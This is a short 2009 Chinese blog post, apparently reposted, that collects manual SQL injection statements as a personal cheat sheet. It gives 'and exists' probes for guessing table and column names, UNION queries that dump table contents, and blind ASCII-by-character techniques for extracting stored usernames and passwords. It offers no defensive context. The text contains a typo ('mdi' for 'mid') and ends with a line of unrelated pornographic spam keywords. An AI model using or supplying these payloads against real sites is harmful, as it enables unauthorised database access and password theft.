手工注入猜解語句

發表于:2009-06-30來源:作者:點擊數: 標簽:解語句手工
自己在學習過程中總結的一些東西,在這發出來,希望對看到的人能有所幫助吧! 猜解表名: and exists (select * from 表名) 猜解列名: and exists (select 字段 from 表名) UNION法: 聯合查詢: select name,password,id from user union select user,pwd,u
自己在學習過程中總結的一些東西,在這發出來,希望對看到的人能有所幫助吧!

  猜解表名:

and exists (select * from 表名)

  猜解列名:

and exists (select 字段 from 表名)

  UNION法:

  聯合查詢:

select name,password,id from user union select user,pwd,uid from

  爆指定表名內容:

and 1=1 union select 1,2,3,4,5 from 表名

  ASCII逐字解碼法:

  1、猜解列長度

  猜解語句:

and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N
  其中N是數字,變換這個N的值猜解列長度,例如:

and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>6

  如果一直猜到6都顯示正常頁面,猜到7的時候返回錯誤(大于6并且小于等于7),那么該列的長度為7。因為“top 1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用:

  select top 1 len(列名) from 表名

  where 列名 not in (select top 1 列名 from 表名)

  2、ASCII碼分析法猜解用戶和密碼

  ASC()函數和Mid函數

  例如:mid(列名,N,1)

  ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII碼

  猜解語句為:

  and (select top 1 asc(mid(字段,1,1)) from 數據庫名)=ASC碼(通過轉換工具換)

  區間判斷語句:

  “......between......and......”

  中文處理法:

  當ASCII轉換后為“負數”使用abs()函數取絕對值。

  例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼(通過轉換工具換)

  ASCII逐字解碼法的應用:

  1、猜解表名:

and (select count(*) from admin)<>0

 

原文轉自:http://www.anti-gravitydesign.com

国产97人人超碰caoprom_尤物国产在线一区手机播放_精品国产一区二区三_色天使久久综合给合久久97